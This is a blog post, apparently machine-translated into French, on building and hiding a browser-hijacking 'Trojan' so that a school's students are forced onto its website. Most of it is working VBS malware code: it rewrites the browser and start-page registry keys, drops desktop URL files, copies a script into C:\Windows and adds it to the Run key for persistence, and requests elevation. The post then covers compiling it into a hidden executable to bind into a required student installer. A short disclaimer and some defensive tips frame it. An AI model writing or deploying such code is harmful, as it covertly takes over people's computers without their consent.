Recherche sur la méthode de réalisation et de défense basée sur l'injection de virus Trojan (kidnapping de navigateur)

Recherche sur la méthode de réalisation et de défense basée sur l'injection de virus Trojan (kidnapping de navigateur)

Affirmer:

Cet article se concentre sur la recherche et la discussion de la technologie, fournit une idée de mise en œuvre pour les étudiants qui étudient le développement et fournit une orientation pour les tests de sécurité logicielle pour les étudiants qui étudient les tests. Si les lecteurs falsifient personnellement cet article et mènent des opérations illégales, cela n'a rien à voir avec Snail Academy et l'auteur.

Avant-propos:

Les étudiants qui étudient à la Snail Academy savent que chaque jour après que le conférencier a enseigné, la vidéo de la conférence du jour sera téléchargée sur notre salle de classe en ligne (www.woniuxy.com). la conférence de l'enseignant précédent. Alors que de plus en plus d'étudiants viennent étudier à notre Snail Academy, de nombreux étudiants qui viennent d'entrer à l'école sont très naïfs sur les opérations informatiques. Ensuite, j'ai découvert que de nombreux étudiants ont ouvert Baidu pour la première fois lorsqu'ils sont entrés sur notre site officiel, puis ont recherché "Snail Academy" sur Baidu, puis ont cliqué sur le lien pour accéder à notre site officiel. Une telle opération est peu pratique et gaspille également les coûts de promotion de Baidu. En réponse au problème ci-dessus, en demandant à chaque élève de définir un signet de navigateur, cette charge de travail est un peu lourde et il est très fastidieux de l'utiliser une fois dans chaque classe. C'est pourquoi l'auteur a envisagé d'utiliser un virus pour forcer les étudiants à se connecter à notre site Web officiel. Après tout, là où vous apprenez la technologie, vous utilisez la technologie pour résoudre des problèmes pratiques.

texte:

Tout d'abord, nous devons d'abord comprendre ce qu'est le kidnapping de navigateur, c'est-à-dire par des moyens techniques permettant à votre navigateur de visiter le site Web spécifié par défaut lors de son ouverture, comme la modification de la page d'accueil. On a souvent vu ce genre d'opération il y a quelques années: par exemple, lorsque le navigateur ouvre la page d'accueil, il devient un site Web 123. La méthode générale de mise en œuvre consiste à modifier le navigateur par défaut dans les informations de registre de l'utilisateur et le contenu associé de la page d'accueil par défaut via un logiciel local, puis la page d'accueil de l'utilisateur devient un site Web désigné. Le morceau de code suivant utilise le langage VBS (Visual Basic Script) pour changer le navigateur par défaut en IE et la page d'accueil par défaut sur notre site Web officiel:

On Error Resume Next
Dim defaultUrl, regOPeration
defaultUrl = "https://www.woniuxy.com"
Set regOPeration = CreateObject("WScript.Shell")
regOPeration.RegWrite "HKEY_CLASSES_ROOT\http\shell\open\command\", """C:\Program Files\Internet Explorer\iexplore.exe"" -- ""%1"""
regOPeration.RegWrite "HKEY_CLASSES_ROOT\htmlfile\shell\open\command\", """C:\Program Files\Internet Explorer\iexplore.exe"" -- ""%1"""
regOPeration.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", defaultUrl
regOPeration.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", defaultUrl

Voici l'emplacement de registre correspondant pour le navigateur:

系统默认浏览器注册表:
"HKEY_CLASSES_ROOT\http\shell\open\command\"
"HKEY_CLASSES_ROOT\htmlfile\shell\open\command\"
机器默认首页注册表:
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"
用户默认首页注册表:
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"

À ce stade du code, quelqu'un peut demander: Pourquoi utiliser VBS comme langue ancienne? D'autres langages comme Java ou Python peuvent-ils être implémentés? Tout d'abord, VBS est le fils de Microsoft. Bien que le champ d'utilisation soit relativement restreint maintenant, ce langage a un avantage que les autres langages n'ont pas. Il peut facilement appeler des objets WScript.Shell dans l'environnement Windows pour opérer directement l'enregistrement HKEY_CLASSES_ROOT nécessitant des privilèges d'administrateur. Une autre caractéristique est que l'environnement Windows est livré avec un interpréteur VBS, ce qui est très pratique à exécuter directement dans l'environnement Microsoft. Ainsi, le code ci-dessus doit uniquement être écrit dans le Bloc-notes, puis le nom de suffixe .txt est changé en .vbs pour s'exécuter. Mais est-ce possible pour d'autres langues?

Avant l'exécution:

image-20210312173333912

image-20210312173535631

Après exécution:

image-20210312173426033

image-20210312173711053

La question suivante vient: le premier point est que le formulaire d'inscription de la page d'accueil n'est valable que pour le navigateur IE, et maintenant les utilisateurs n'utilisent presque jamais le navigateur IE comme navigateur par défaut du système. Par exemple, l'utilisateur utilise comme navigateur par défaut des navigateurs tels que 360, QQ, Google, etc. Comment des navigateurs comme ce type qui ne fournissent pas d'interface de page d'accueil dans le registre du système peuvent-ils réussir un enlèvement? Il n'y a qu'une seule façon de penser ici: nous pouvons créer un raccourci vers le bureau pour le navigateur par défaut du système, puis définir la page d'accueil d'accès du raccourci du navigateur comme notre salle de classe en ligne. De cette façon, nous pouvons terminer l'enlèvement. Le code pertinent est le suivant:

Dim browserPath '默认浏览器路径
Dim starDir		'快捷方式起始位置
Dim WShell		'WScript对象
Dim desktopPath	'桌面对象
Dim link		'快捷方式对象
Dim firstUrl	'默认首页链接
Dim linkName	'快捷方式名称

linkName = "蜗牛学院-在线课堂"
firstUrl = "www.woniuxy.com"
Set WShell = CreateObject("WScript.Shell")

'截取到默认浏览器exe文件路径
browserPath = WShell.RegRead("HKEY_CLASSES_ROOT\http\shell\open\command\")
browserPath = Split(browserPath, ".exe")(0)
browserPath = Mid(browserPath,2) & ".exe"

'获取起始位置
tempDir = Split(browserPath, "\")
For i = 0 to UBound(tempDir) - 1
	starDir = starDir & tempDir(i) & "\"
Next
starDir = Mid(starDir,1, Len(starDir)-1)

'创建桌面快捷方式
desktopPath = WShell.SpecialFolders("Desktop")
Set link = WShell.CreateShortcut(desktopPath & "\" & linkName & ".lnk")

link.TargetPath = browserPath	'目标位置
link.Arguments = firstUrl '添加默认页面
link.WindowStyle = 3	'激活方式:1默认窗口大小,3最大化,7最小化	

link.WorkingDirectory = starDir	'设置起始位置
link.IconLocation = browserPath	'设置图标
link.Save

Écrivez le code ci-dessus dans un fichier txt, puis modifiez le nom du suffixe. Vbs après l'exécution:

image-20210316150542087

Le link.Arguments = firstUrl dans le code est très important, car si vous souhaitez que le raccourci s'ouvre et accède directement à la page spécifiée, vous devez ajouter l'adresse de la page dans l'attribut cible du raccourci, et si vous utilisez la fonction CreateShortcut pour l'ajouter après l'épissage Impossible de créer un raccourci.

image-20210316153346856

Une fois le code écrit ici, nous trouverons trois problèmes. La première est que si le navigateur par défaut n'est pas défini dans le système (il n'y a pas de valeur correspondante dans le registre) ou si le navigateur par défaut n'est pas enregistré dans le registre, l'utilisateur utilisera IE ou Edge pour ouvrir le raccourci. Le deuxième problème est que si l'utilisateur supprime le raccourci sur le bureau, le but du kidnapping ne sera pas atteint. Le troisième est que le code est déclenché et exécuté par un vbs, et l'utilisateur ne sera pas stupide de double-cliquer.

Résolvez d'abord le premier problème, abandonnez l'utilisation des raccourcis et utilisez directement le fichier de connexion url pour le résoudre. Le fichier de connexion url stocke la connexion d'accès spécifiée. Lorsque l'utilisateur clique sur le fichier URL, il ouvre directement le navigateur par défaut du système, ce qui équivaut à ce que l'utilisateur clique sur un lien hypertexte dans Excel, ce qui est très pratique. Le code de création d'URL et le raccourci sont similaires:

Dim urlFile
Dim WShell
Dim desktopPath
Dim filePath
Dim firstUrl
Set WShell = CreateObject("WScript.Shell")
desktopPath = WShell.SpecialFolders("Desktop")
filePath = desktopPath & "\蜗牛学院在线课堂.url"
firstUrl = "http://www.woniuxy.com"

set urlFile = CreateObject("Scripting.Filesystemobject").opentextfile(filePath, 8, True)
urlFile.WriteLine("[InternetShortcut]")
urlFile.WriteLine("URL=" & firstUrl)
urlFile.WriteLine("showcommand=3")
urlFile.Close

Effet d'opération:

image-20210316154919109

Ensuite, les deuxième et troisième problèmes sont relativement compliqués à résoudre, parlons d'abord du deuxième problème. Nous pouvons placer les vbs ci-dessus dans un endroit public (C: \ Windows) auquel presque aucun utilisateur ne fait attention dans le système, puis définir le script pour qu'il s'exécute une fois à chaque démarrage en modifiant le registre. Ensuite, si l'utilisateur supprime actuellement l'URL, elle réapparaîtra après le redémarrage de l'ordinateur.

Entrée de démarrage du registre:

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

Code associé:

Dim urlFile
Dim WShell
Dim desktopPath
Dim filePath
Dim firstUrl
Dim startPath	'开机启动位置

Set WShell = CreateObject("WScript.Shell")

'添加当前文件到开机启动
startPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
WShell.RegWrite startPath & "\" & "woniuxy", "C:\Windows\woniuxy_url.vbs" & " /r", "REG_SZ"

desktopPath = WShell.SpecialFolders("Desktop")
filePath = desktopPath & "\蜗牛学院在线课堂.url"
firstUrl = "http://www.woniuxy.com"

set urlFile = CreateObject("Scripting.Filesystemobject").opentextfile(filePath, 8, True)
urlFile.WriteLine("[InternetShortcut]")
urlFile.WriteLine("URL=" & firstUrl)
urlFile.WriteLine("showcommand=3")
urlFile.Close

Nommez le code ci-dessus comme woniuxy_url.vbs, puis placez-le dans le fichier C: \ Windows à exécuter, et le script de démarrage sera ajouté au registre.

image-20210316161027879

Ensuite, il y a un nouveau problème, c'est-à-dire que les utilisateurs normaux ne prendront pas l'initiative de mettre le script vbs dans leur répertoire Windows. Cela doit être résolu en même temps que les trois problèmes mentionnés ci-dessus. L'idée générale est:

1. Ecrivez un script vbs woniuxy.vbs.

2. Ecrivez un autre script woniuxy_url.vbs dans un dossier spécifié (C: \ Windows) dans woniuxy.vbs. (Notez que s'il s'agit d'un système Win10, vous devez obtenir les autorisations de super administrateur)

3. Compilez woniuxy.vbs dans exe, puis injectez-le dans d'autres fichiers exe.

Le code de woniuxy.vbs est le suivant:

On Error Resume Next
WScript.Sleep 1500

Dim fso, startFile
Dim filePath    '文件路径
Dim WShell      'WScript对象
Dim startPath   '开机启动位置

'超级管理员权限
If WScript.Arguments.Length = 0 Then
    Set ObjShell = CreateObject("Shell.Application")
    ObjShell.ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """ RunAsAdministrator", , "runas", 1
    WScript.Quit
End If

filePath = "C:\Windows\woniuxy_url.vbs"
Set fso = CreateObject("scripting.filesystemobject")
Set startFile = fso.CreateTextFile(filePath, , ture)

'woniuxy_url.vbs内容
startFile.WriteLine "Dim urlFile,WShell,desktopPath,filePath,firstUrl"
startFile.WriteLine "Set WShell = CreateObject(""WScript.Shell"")"
startFile.WriteLine "desktopPath = WShell.SpecialFolders(""Desktop"")"
startFile.WriteLine "filePath = desktopPath & ""\蜗牛学院在线课堂.url"""
startFile.WriteLine "firstUrl = ""http://www.woniuxy.com"""
startFile.WriteLine "set urlFile = CreateObject(""Scripting.Filesystemobject"").opentextfile(filePath, 8, True)"
startFile.WriteLine "urlFile.WriteLine ""[InternetShortcut]"""
startFile.WriteLine "urlFile.WriteLine ""URL="" & firstUrl"
startFile.WriteLine "urlFile.WriteLine ""showcommand=3"""
startFile.WriteLine "urlFile.Close"

'运行url
startFile.WriteLine "desktopPath = WShell.SpecialFolders(""Desktop"")"
startFile.WriteLine "WShell.Run desktopPath & ""\蜗牛学院在线课堂.url"", 4"
startFile.Close

'文件添加到开机启动
Set WShell = CreateObject("WScript.Shell")
startPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
'添加到开机启动项
WShell.RegWrite startPath & "\" & "woniuxy", filePath & " /r", "REG_SZ"

'运行生成的脚本
WShell.Run filePath

Une fois que le woniuxy.vbs ci-dessus est terminé, nous devons le compiler dans un fichier exécutable exe. Il existe de nombreux compilateurs vbs courants sur le marché, tels que Vbs_To_Exe, mais l'effet n'est pas satisfaisant. VBS lui-même est un script appartenant au langage VB (Visual Basic), et la relation entre eux est différente de Java et JavaScript, donc la meilleure solution est d'utiliser VB pour emballer et compiler VBS. L'utilisation est également très simple. Créez un nouveau formulaire en VB sans aucun contrôle. Écrivez le code source de woniuxy.vbs dans la fonction Form_Load. Définissez ensuite la propriété Visible sur False dans les propriétés du formulaire (masquez le formulaire au démarrage).

image-20210316163031728

Après la compilation en exe via VB, notre cheval de Troie est terminé. La dernière étape consiste à injecter le fichier exe Trojan dans un autre fichier exe fréquemment utilisé. Le choix de cet article est basé sur le terminal étudiant de la classe électronique, car les étudiants qui viennent étudier à Snail Academy doivent installer ce terminal étudiant pour écouter la classe normalement. Ensuite, le processus de déballage et d'emballage du fichier n'est pas dans le cadre de cet article, donc je ne vais pas en parler ici. Les amis intéressés peuvent contacter l'auteur ou faire un suivi pour en discuter.

image-20210316163704250

Conclusion:

La dernière chose que je veux dire, c'est que pour ne pas enfreindre les intérêts d'autres logiciels, aucune des technologies ci-dessus n'implique le processus antivirus. En d'autres termes, s'il existe un logiciel antivirus dans le système de l'utilisateur, les chevaux de Troie mentionnés ci-dessus ne peuvent pas être contournés.

image-20210316164005764

Dans le même temps, si vous avez des capacités de contrôle informatique insuffisantes, que vous vous inquiétez des virus dans l'utilisation quotidienne et que vous ne souhaitez pas installer de logiciel antivirus (trop de liaisons malveillantes) (je cours nu depuis plus de dix ans). Habituellement, vous devez développer l'habitude d'observer davantage l'environnement système, comme les éléments de démarrage dans le gestionnaire de tâches, et voir si vous ne le connaissez pas, puis voir si la position correspondante du registre dans cet article a été modifiée. Enfin, il est recommandé aux utilisateurs novices d'ordinateurs d'essayer d'utiliser UAC (Microsoft Account Control), qui est une surveillance au niveau du système de tout interpréteur et exécuteur dans l'environnement.

Peu importe que vous ayez des questions sur vos études, Chongqing Snail College vous invite à venir consulter, contactez QQ: 296799112

Je suppose que tu aimes

Origine blog.csdn.net/waverlyc/article/details/114888311
conseillé
Classement